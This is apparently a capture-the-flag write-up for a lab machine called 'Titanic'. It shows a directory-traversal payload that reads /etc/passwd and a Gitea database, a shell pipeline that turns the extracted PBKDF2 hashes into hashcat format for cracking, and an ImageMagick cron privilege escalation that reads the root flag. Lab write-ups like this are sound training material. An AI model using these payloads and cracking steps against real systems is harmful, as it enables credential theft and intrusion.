π₯οΈTitanic
Letsβs start with a bit of recon

22 and 80 open, itβs a web machine as always, letβs enumerate eventual hidden pages and folders

letβs check if there are some subdomains

We found a second service on the server, itβs a local git repository hosting service, Gitea

looking around we found some useful credentials

and the backend routing that hints us for a directory traversal

we can retrieve the ticket json, but there are no checks on the file types to retrieve so letβs try
titanic.htb/download?ticket=../../../../../etc/passwd
something has been downloadedβ¦.

wonderful.
We can read user flag (user is βdeveloperβ, so titanic.htb/download?ticket=../../../../../home/developer/user.txt will work) and submit it, but need to find a way to get inside.
The Gitea documentation mention a ~/gitea/data/gitea/conf/app.ini config file

Download the Database in the specified path, connect to it and have a look at the user table
http://titanic.htb/download?ticket=../../../../../../../../../home/developer/gitea/data/gitea/gitea.db
sqlite3 gitea.db
.table
select * from user;

it seems to use pbkdf2 for hashing, to make it readable from hashcat we need to do a bit of shenanegans.
This is the format hashcat wants:
so: sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
The database extraction contains passwd and salt and says that we have pbkdf2$50000$50 that means that weβre using 50000 iterations.
Moreover, the hashcat example uses base64, we have hex, so the steps are:
extract passwd, salt and name
select passwd,salt,namefor each line, separate the digest, salt and name
$digest=(echo $line | cut -d"|" -f1),$salt=(echo $line | cut -d"|" -f2)and$name=(echo $line | cut -d"|" -f3)for the digest and the salt, print the hex and convert it to base64
echo $digest | xxd -r -p | base64andecho $salt | xxd -r -p | base64recreate the string in the format
"${name}:sha256:50000:${salt}:${digest}"
putting all together we have:
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
thanks to 0xdfβs post for the explaination.
crack it![]()
hashcat -m 10900 gitea.hashes /usr/share/wordlists/rockyou.txt βuser
and ssh into the machine
Let's enumerate for some privesc
no sudo -l
no SUID
no useful sockets open
random guess: letβs look for some suspicious βscriptsβ folder
Let's have a look

The script seems to do the following:
change folder
truncate log file metadata.log
find any .jpg file in
/opt/app/static/assets/images/pass it to
magick identifycommand and put it to metadata.log
wtf is magick?


NICE.
The code used in the poc is the following
weβll change the βidβ command to something more useful to us
cat /root/root.txt >> /tmp/root.flag
when the library disappears, the root cron has ben ran and we can check the /tmp/ folder

Done.
Last updated